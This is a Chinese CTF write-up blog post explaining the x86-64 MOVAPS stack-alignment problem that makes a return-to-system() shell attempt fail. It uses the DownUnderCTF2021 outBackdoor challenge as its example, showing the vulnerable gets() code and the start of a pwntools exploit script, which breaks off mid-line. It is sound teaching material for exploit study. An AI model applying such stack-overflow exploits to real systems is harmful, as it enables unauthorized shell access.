【CTF大赛】100步getshell之就差一步——The MOVAPS issue

本文介绍了在CTF比赛中遇到的The MOVAPS issue,该问题导致在栈溢出攻击中即使获取了system地址也无法成功执行shell。文章分析了问题原因,涉及到Ubuntu 18.04的GLIBC函数对栈16字节对齐的要求,并通过两个CTF挑战(DownUnderCTF2021-outBackdoor和Tamilctf2021-Nameserver)的例子说明了解决方案,即在调用GLIBC函数前确保栈对齐。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
当你完美的在栈上进行了布局,泄露了libc的地址,并且在libc中获得了syetem地址,获得了’/bin/sh’地址,此时此时就差一步sendline就打通了,可是你忽然发现,什么?为什么system失败了?地址也对啊,检查了一遍又一遍,全部都对啊。

此时的你开始怀疑,是不是Server上用了个新的libc?是不是地址获取错误?总之一万个问题向你来袭。但其实可能就只是一个retn解决的问题,在最后一步绊倒了你。这个问题其实就是The MOVAPS issue

问题的起因

首先放上小明同学最近遇到的两个题目:

Tamilctf2021,pwn,Nameserver
DownUnderCTF2021,pwn,outBackdoor
有兴趣的小伙伴可以看看这两个题目。两个题目很相似,都是栈溢出,控制了eip.但是!都拿不到shell!!气人不

DownUnderCTF2021-outBackdoor

DownUnderCTF中简单很多,直接提供了一个outBackdoor函数

保护机制

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF
 
  buffer_init(argc, argv, envp);
  puts("\nFool me once, shame on you. Fool me twice, shame on me.");
  puts("\nSeriously though, what features would be cool? Maybe it could play a song?");
  gets(v4);
  return 0;
}
int outBackdoor()
{
  puts("\n\nW...w...Wait? Who put this backdoor out back here?");
  return system("/bin/sh");
}
 
//main的v4栈结构
-0000000000000010 var_10          db 16 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

很简单,栈溢出,根据main的栈结构,我们知道只需要填充0x10+8个数据,就可以覆盖到eip。

是不是很简单?exploit如下:

#!/usr/bin/python
#coding:utf-8[/size][/align][align=left][size=3]
from pwn import *
 
context(os = 'linux', log_level='debug')
local_path = './outBackdoor'
addr = 'pwn-2021.duc.tf'
port = 31921
 
is_local = 1
 
if is_local != 0:
    io = process(local_path,close_fds=True)
 
else:
    io = remote(addr, port)
# io = gdb.debug(local_path)
 
elf=ELF(local_path)
p_backdoor=elf.symbols['outBackdoor']
 
p_main = elf.symbols['main']
p_system = elf.symbols['system&#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值